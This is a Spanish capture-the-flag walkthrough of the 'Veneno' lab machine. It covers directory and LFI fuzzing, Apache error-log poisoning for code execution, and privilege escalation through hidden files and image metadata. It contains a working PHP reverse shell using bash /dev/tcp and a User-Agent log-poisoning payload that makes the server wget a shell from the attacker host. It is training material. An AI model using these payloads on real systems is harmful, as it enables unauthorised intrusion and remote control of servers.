Veneno | Log poisoning


URL Download CTF https://mega.nz/file/kOFDBYJC#mzBiVsOorShPcTLjPfzmesxAiCHxGkKEDAGxAIJ0r0g


Fuzzing parámetro LFI | RCE log poisoning


Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip Veneno.zip

Nos lo descomprimirá y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh Veneno.tar

Enumeración de directorios:

feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

Recursos encontrados:

  • /uploads/

  • /problems.php

  • /index.html


Busqueda de un LFI

Se encontró:


Log poisoning

Búsqueda de mas directorios, /var/log/apache2/error.log = log poisoning

Tras no ver nada a simple vista, miraremos que archivos podemos leer del sistema

wfuzz --hw=0 -w  /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://172.17.0.2/problems.php?backdoor=FUZZ"

Así que disponemos del archivo error.log para hacer log poisoning y para que entren aquí los logs de las peticiones, no tienen que ser 200. El porque de crearlo en la carpeta uploads es porque no podemos escribir en el propio path de la web.

Paso 1: Crear el archivo shell.php (reverse shell PHP)

<?php
// Cambia la IP y el puerto a los de tu máquina atacante
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'");
?>

Paso 2: Inyectar el payload vía log poisoning

curl -i -v 172.17.0.2 -A "<?php system('wget http://172.17.0.1:4000/shell.php -O /var/www/html/uploads/shell.php'); ?>" http://172.17.0.2
  • Como podemos ver se guarda en /uploads:

http://172.17.0.2/uploads/shell.php

ROOT:


Vemos que ficheros tenemos en el directorio de la web y nos encontramos con una pista en el txt.

  • Abrimos el .txt:

📆 Buscar archivos con mtime (modificados hace +24 años)

360*24 8640

find / -mtime +8640 -exec cat {} \; 2>/dev/null

Elevar a usuario carlos

  • Una vez logueados con Carlos revisamos su home y nos encontramos lo siguiente.

  • Esa estructura nos lleva a suponer que hay algo escondido.

Ejecutando un ls -laR podemos listar todo y veremos lo que nos interesa.

Nos montamos un server con python y descargamos la imagen para analizarla.

Le pasamos exiftool y veremos una pass conocida.

Last updated